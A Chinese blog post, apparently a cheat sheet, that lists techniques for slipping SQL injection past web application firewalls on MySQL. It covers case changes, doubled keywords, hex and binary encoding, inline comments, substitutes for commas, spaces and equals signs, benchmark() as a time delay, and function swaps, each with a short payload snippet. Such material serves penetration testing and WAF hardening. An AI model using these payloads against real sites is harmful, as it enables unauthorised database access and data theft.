sql注入绕过整理(持续更新)

sql注入漏洞

sql注入漏洞,是由于代码执行业务逻辑过程中,对客户端的输入没有进行过滤(或者过滤不充分)或者从数据库读取数据未进行必要过滤检查即直接展示到前端页面(二次注入)导致的,针对该漏洞,服务器端或者代理waf(web应用防火墙)会对接收到的注入利用语句进行过滤,本文主要整理了注入过程中遇到的waf注入防护时的一些常用绕过方法,主要利用了数据库特性加粗样式编码进制转换同义语句或者相似功能关键词的替换等方法。

绕过手段

本文主要以mysql数据库为例,说明 sql注入绕过 方法。

大小写

数据库查询语句对大小写是不敏感的,select 和 SELect 是定价的。

双写

例如union被过滤为空时,以 uniunionOn替代语句中的union,被过滤(仅过滤一次)之后,得到uniOn。

进制转换

例如遇到单引号过滤,可以将目标值转化为十六进制。
select column_name from information_schema.columns where table_name='tbl123';
替换为
select column_name from information_schema.columns where table_name=0x74626C313233;

字符串 转为二进制
and 'x'='x' ----> and 'x'=b'1111000'

符号替换

仍以单引号过滤为例:

select id from `userdb`.`user` limit 1,1;

利用反引号替换了单引号。

内联注释

内联注释:
select 1 union /*!select*/ 3;

同义语句或者类似关键词替换

1、逗号过滤
limit关键词后
limit 2, 1 ------> limit 1 offset 2

select关键词之后
select 1,2,3 ----> select * from ((SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c);

字符串截取
mid(user(),2,1) ----> mid(user() from 2 for 1)

if语句中的逗号
原语句
select if(1=1,sleep(5),0);
使用case when语句替换
select case when 1=1 then sleep(5) else 0 end;

2、等号过滤

like替换
and 'a'='a' ----> and 'a' like 'a'

正则表达式 regexp
select 1=1; ----> select 1 regexp '^1';

同义替换法
select 1 != 2; ----> select 1<>2;

3、order by 过滤
原语句:
select * from tbl123 order by 3 limit 1,1;
替换为:
select * from tbl123 limit 1,1 into @a,@b,@c;
变量(@b,@a,@c)个数即 字段个数。

4、空格绕过
括号替换
select(1)union(select/**/3);
注释
select/*23131232*/1/*999999*/union/*88888*/select/*000000*/3;

5、sleep过滤
对于时间盲注,使用benchmark函数替换, 执行 30000000 次函数 md5(‘12345’)。
select benchmark(30000000, md5('12345'));

6、or 和 and 过滤
select 1 or 2; ----> select 1||2

select 1 and 2; ----> select 1&&2
类似的还有 xor

7、函数替换
version()过滤
select version(); ----> select @@version;
类似的还有:
group_concat() <–> concat() <–> concat_ws()
ascii() <–> hex() <–> bin()
in ----> between and

  • 4
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值